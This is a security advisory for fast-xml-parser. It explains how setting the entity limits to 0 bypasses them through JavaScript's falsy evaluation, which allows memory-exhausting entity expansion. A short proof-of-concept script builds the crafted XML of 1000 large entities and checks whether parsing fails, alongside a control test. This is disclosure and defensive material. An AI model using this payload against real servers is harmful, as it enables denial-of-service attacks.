Improper Validation of Specified Quantity in Input Affecting fast-xml-parser package, versions >=4.0.0-beta.3 <5.5.7

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.

Note:

This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

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